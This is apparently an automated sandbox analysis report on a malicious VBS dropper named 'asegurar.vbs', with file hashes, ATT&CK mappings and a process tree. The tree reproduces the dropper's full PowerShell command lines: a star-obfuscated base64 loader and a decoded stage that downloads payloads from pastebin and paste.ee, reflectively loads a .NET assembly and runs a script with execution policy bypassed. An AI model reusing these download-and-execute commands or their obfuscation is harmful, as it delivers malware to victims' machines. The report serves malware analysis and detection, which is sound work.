68261a28c46b6107abe48b767a31c161c932a2371c64dfff49db820ec3b2e312

General

Target

asegurar.vbs
Size

2.6MB
MD5

3c6884c4d3a5348a023bf408ea0f9715
SHA1

86f369b8381c094535e6c77af39609d556797bfe
SHA256

68261a28c46b6107abe48b767a31c161c932a2371c64dfff49db820ec3b2e312
SHA512

9e4ba2e50ffc6ae7d49ba0d77bf746c4ddcc139d1b3e20ee55c2ff403497046693cefaf8ec64a13a8eae74f95fbf288e12b1170b08ab50cd67e78fe6cfdbcfb1
SSDEEP

192:blLUdjoZvsBef7e3vtEMUETN9Bgdm6wVvl:cGb7SOE90m6w/

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/Adv9gBHa

exe.dropper

https://pastebin.com/raw/Adv9gBHa

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2584	powershell.exe
7	2584	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe
2584	powershell.exe
1724	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2804	powershell.exe
2584	powershell.exe
1724	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2804	2688	WScript.exe	30
PID 2688 wrote to memory of 2804	2688	WScript.exe	30
PID 2688 wrote to memory of 2804	2688	WScript.exe	30
PID 2804 wrote to memory of 2584	2804	powershell.exe	32
PID 2804 wrote to memory of 2584	2804	powershell.exe	32
PID 2804 wrote to memory of 2584	2804	powershell.exe	32
PID 2584 wrote to memory of 1724	2584	powershell.exe	33
PID 2584 wrote to memory of 1724	2584	powershell.exe	33
PID 2584 wrote to memory of 1724	2584	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★QQBk★HY★OQBn★EI★S★Bh★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★CQ★J★★n★Cc★L★★n★Cc★QQ★n★Cc★KQ★g★Ck★I★★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★FM★eQBz★HQ★ZQBt★C4★QQBw★H★★R★Bv★G0★YQBp★G4★XQ★6★Cc★I★★r★C★★Jw★6★EM★dQBy★HI★ZQBu★HQ★R★Bv★G0★YQBp★G4★LgBM★G8★YQBk★Cg★I★★k★EY★eQBm★GQ★eg★g★Ck★Lg★n★C★★Ow★k★E0★TwBE★FI★Zw★g★Cs★PQ★g★Cc★RwBl★HQ★V★B5★H★★ZQ★o★C★★Jw★n★FQ★ZQBo★HU★b★Bj★Gg★ZQBz★Fg★e★BY★Hg★e★★u★EM★b★Bh★HM★cw★x★Cc★Jw★g★Ck★LgBH★GU★d★BN★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBl★HQ★a★Bv★GQ★K★★g★Cc★JwBN★HM★cQBC★Ek★YgBZ★Cc★Jw★g★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★C★★J★Bu★HU★b★Bs★C★★L★★g★Fs★bwBi★Go★ZQBj★HQ★WwBd★F0★I★★o★C★★Jw★n★D★★LwB3★Gg★V★Bs★FY★LwBk★C8★ZQBl★C4★ZQB0★HM★YQBw★C8★Lw★6★HM★c★B0★HQ★a★★n★Cc★I★★s★C★★Jw★n★CU★SgBr★FE★YQBz★EQ★ZgBn★HI★V★Bn★CU★Jw★n★C★★L★★g★Cc★JwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cc★L★★g★Cc★Jw★w★Cc★Jw★s★C★★Jw★n★DE★Jw★n★Cw★I★★n★Cc★UgBv★GQ★YQ★n★Cc★I★★g★Ck★I★★p★C★★Ow★n★C★★Ow★k★FY★QgBX★Fc★eg★g★D0★I★★o★C★★WwBT★Hk★cwB0★GU★bQ★u★Ek★Tw★u★F★★YQB0★Gg★XQ★6★Do★RwBl★HQ★V★Bl★G0★c★BQ★GE★d★Bo★Cg★KQ★g★Cs★I★★n★GQ★b★Bs★D★★Mw★u★H★★cw★x★Cc★I★★p★C★★Ow★k★E0★TwBE★FI★Zw★g★Hw★I★BP★HU★d★★t★EY★aQBs★GU★I★★t★EY★aQBs★GU★U★Bh★HQ★a★★g★CQ★VgBC★Fc★VwB6★C★★I★★t★GY★bwBy★GM★ZQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★g★C0★RQB4★GU★YwB1★HQ★aQBv★G4★U★Bv★Gw★aQBj★Hk★I★BC★Hk★c★Bh★HM★cw★g★C0★RgBp★Gw★ZQ★g★CQ★VgBC★Fc★VwB6★C★★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\asegurar.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/Adv9gBHa' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/whTlV/d/ee.etsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\asegurar.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dll02.txt

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
946B

MD5
25282e1b8bf2ecd26c25beb6809c408e

SHA1
8272da4fa384ff58a37d2b2b30543e0926202cc1

SHA256
06ae63e51f97a544a63cc99cc0b79f58d5af691a255b087d99d62b551d3ea76c

SHA512
12e0cde20521ca62c73f5023b0f411523c2d4fcb2feb7f3852686bed1f5b5310938c7cf7fcb9f399d035f28d546e75c043bdfc60d3be1ee2a2d8fa96d24c7c36

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b403ca19e5f54f2307a2ef52de8ecbe8

SHA1
2976bb3b328a7384ffed686c3f616b303e5e1e3a

SHA256
0142408ef671aadd480f175c768c05e561e99c2a7943c23b68a02c5f5595a9e8

SHA512
cc5f93c46b1c2ab61cfeda8199fb1c327c1a80f6e8390550b3485a39a086ffd0cea9a1be1c96dfcc203e45833c854287ce7f31f1362b38f42d0277cbbb5a8a52

Download Submit
memory/2804-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/2804-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2804-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2804-7-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-27-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing